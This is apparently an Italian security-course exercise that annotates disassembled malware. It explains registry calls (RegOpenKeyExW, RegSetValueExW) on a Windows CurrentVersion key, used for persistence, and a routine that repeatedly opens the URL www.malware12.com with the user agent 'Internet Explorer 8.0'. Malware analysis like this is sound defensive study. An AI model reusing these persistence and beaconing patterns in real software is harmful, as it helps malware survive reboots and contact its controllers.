



S11L1

Traccia:

Con questa funzione
RegOpenKey permette di
aprire e modificare una
chiave di registro

```
X040286F  push    2                ; samDesired
X0402871  push    eax              ; ulOptions
X0402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVe
X0402877  push    HKEY_LOCAL_MACHINE ; hKey
X040287C  call    esi ; RegOpenKeyExW
X040287E  test    eax, eax
X0402880  jnz     short loc_4028C5
```

```
X0402882
X0402882  loc_402882:
X0402882  lea     ecx, [esp+424h+Data]
X0402886  push    ecx              ; lpString
X0402887  mov     bl, 1
X0402889  call    ds:lstrlenW
X040288F  lea     edx, [eax+eax+2]
X0402893  push    edx              ; cbData
X0402894  mov     edx, [esp+428h+hKey]
X0402898  lea     eax, [esp+428h+Data]
X040289C  push    eax              ; lpData
X040289D  push    1                ; dwType
X040289F  push    0                ; Reserved
X04028A1  lea     ecx, [esp+434h+ValueName]
X04028A8  push    ecx              ; lpValueName
X04028A9  push    edx              ; hKey
X04028AA  call    ds:RegSetValueExW
```

Con questa funzione
RegSetValueEx permette di
accettare un nuovo valore
all'interno del registro

Client software utilizzato dal malware per la connessione ad internet

URL al quale il malware tenta di connettersi

```
.....
.text:00401150 : ||| S U B R O U T I N E |||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC70
.text:00401150 push esi
.text:00401151 push edi
.text:00401152 push 0 ; dwFlags
.text:00401154 push 0 ; lpszProxyBypass
.text:00401156 push 0 ; lpszProxy
.text:00401158 push 1 ; dwAccessType
.text:0040115A push offset szAgent ; "Internet Explorer 8.0"
.text:0040115F call ds:InternetOpenA
.text:00401165 mov edi, ds:InternetOpenUrlA
.text:00401168 mov esi, eax
.text:0040116D
.text:0040116D loc_40116D: ; CODE XREF: StartAddress+304j
.text:0040116D push 0 ; dwContext
.text:0040116D push 80000000h ; dwFlags
.text:0040116F push 0 ; dwHeadersLength
.text:00401174 push 0 ; lpszHeaders
.text:00401178 push offset szURL ; http://www.malware12.com
.text:0040117D push esi ; hInternet
.text:0040117E call edi ; InternetOpenUrlA
.text:00401180 jnp short loc_40116D
.text:00401180 StartAddress endp
.text:00401180
.text:00401180
```